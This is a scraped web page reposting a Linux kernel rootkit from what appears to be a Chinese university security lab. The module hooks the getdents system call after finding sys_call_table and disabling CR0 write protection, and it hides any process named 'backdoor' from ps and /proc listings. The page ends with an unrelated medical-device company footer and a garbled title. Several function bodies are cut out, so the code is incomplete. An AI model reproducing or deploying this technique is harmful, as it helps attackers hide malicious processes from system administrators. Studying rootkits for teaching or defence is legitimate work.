1 #include <linux/module.h> 2 #include <linux/kernel.h> 3 #include <linux/uaccess.h> 4 #include <linux/slab.h> 5 #include <linux/fs.h> 6 #include <linux/string.h> 7 8 /* https://elixir.bootlin.com/linux/v4.10.17/source/fs/readdir.c#L150 9 * http://www.man7.org/linux/man-pages/man2/getdents.2.html 10 * http://www.man7.org/linux/man-pages/man3/readdir.3.html 11 */ 12 struct linux_dirent ; 18 19 static unsigned long **sys_call_table; 20 21 /* The system call getdents() reads several linux_dirent structures 22 * from the directory referred to by the open file descriptor fd into the buffer pointed to by dirp. 23 * The argument count specifies the size of that buffer. 24 */ 25 long (*orig_getdents)(unsigned int fd, 26 struct linux_dirent __user *dirp, 27 unsigned int count); 28 29 void disable_write_protection(void) { 30 unsigned long cr0 = read_cr0(); 31 clear_bit(16, &cr0); 32 write_cr0(cr0); 33 } 34 35 void enable_write_protection(void) 40 41 /** 42 * 获取 PID 的长度 43 * 1) 若当前<dirent>是由命令<ps>产生的结果,则返回PID的长度,如: 44 * d_name = "2904" => return 4 45 * 2) 若当前<dirent>不是由命令<ps>产生的结果,则返回-1,如: 46 * d_name = "kcore" => return -1 47 * @author southday 48 * @date 2019.05.01 49 */ 50 int get_pid_len(char *d_name) 59 return len; 60 } 61 62 /** 63 * 判断当前<dirent>是否需要过滤 64 * 假设进程<backdoor>的PID为5930,则/proc/5930/status文件的第一行就包含<backdoor>进程的名称,如下: 65 * > cat /proc/5930/status | head -n 1 66 * Name: backdoor 67 * 根据匹配/proc/${PID}/status中的进程名称来决定是否过滤该<dirent> 68 * @author southday 69 * @date 2019.05.01 70 */ 71 int need_filter(char *d_name) 102 103 fs = get_fs(); // 取当前fs值 104 set_fs(KERNEL_DS); // 设置fs值,忽略对用户空间地址的检查 105 pos = 0; 106 /* ssize_t vfs_read(struct file* filp, char __user* buffer, size_t len, loff_t* pos); 107 * 1) 第2个参数被 __user* 修饰,表示buffer应该指向用户空间的内存,而这里的buf指向的是内核空间的内存; 108 * 2) 如果不进行set_fs(KERNEL_DS)设置,vfs_read()函数会返回失败-EFAULT; 109 * 3) set_fs(KERNEL_DS) 绕过对buffer所指内存空间的检查,让下面的vfs_read()函数得以继续进行; 110 */ 111 vfs_read(fp, buf, 64, &pos); 112 if (strstr(buf, "backdoor") != NULL) { 113 isneed = 1; 114 printk("read: %s ", buf); // Name: backdoor 115 } 116 filp_close(fp, NULL); 117 set_fs(fs); // 恢复fs 118 out: 119 kfree(buf); 120 kfree(fpath); 121 return isneed; 122 } 123 124 /** 125 * 系统调用劫持函数,劫持ps,过滤掉名为 backdoor 的进程 126 * @author southday 127 * @date 2019.05.01 128 */ 129 asmlinkage long hack_getdents(unsigned int fd, 130 struct linux_dirent __user *dirp, 131 unsigned int count) 157 td2 = (struct linux_dirent *)((char *)td2 + td2->d_reclen); 158 } 159 160 copy_to_user(dirp, filtered_dirp, copylen); 161 kfree(orig_dirp); 162 kfree(filtered_dirp); 163 return copylen; 164 } 165 166 /** 167 * 获取 sys_call_table 的首地址 168 * @author southday 169 * @date 2019.05.01 170 */ 171 unsigned long ** find_sct(void) 188 } 189 // 扩展为64位,因为SCT首地址符号位为1,所以前面32位直接补1就可以 190 return lstar_sct_addr == NULL ? NULL : (void *)(0xffffffff00000000 | *(u32 *)lstar_sct_addr); 191 } 192 193 static int filter_init(void) 200 orig_getdents = (void *)sys_call_table[__NR_getdents]; 201 printk("original system call getdents, the address is 0x%p ", (unsigned long *)orig_getdents); 202 disable_write_protection(); 203 sys_call_table[__NR_getdents] = (unsigned long *)&hack_getdents; 204 enable_write_protection(); 205 printk("hacked system call getdents, the address is 0x%p ", (unsigned long *)&hack_getdents); 206 printk("modify sct success! sys_call_table[__NR_getdents] address is 0x%p ", (unsigned long *)sys_call_table[__NR_getdents]); 207 return 0; 208 } 209 210 static void filter_exit(void) 218 219 MODULE_LICENSE("GPL"); 220 module_init(filter_init); 221 module_exit(filter_exit);
meis是什么系统科软-信息安全实验3-Rootkit劫持系统调用
未经允许不得转载:上海聚慕医疗器械有限公司 » meis是什么系统科软-信息安全实验3-Rootkit劫持系统调用











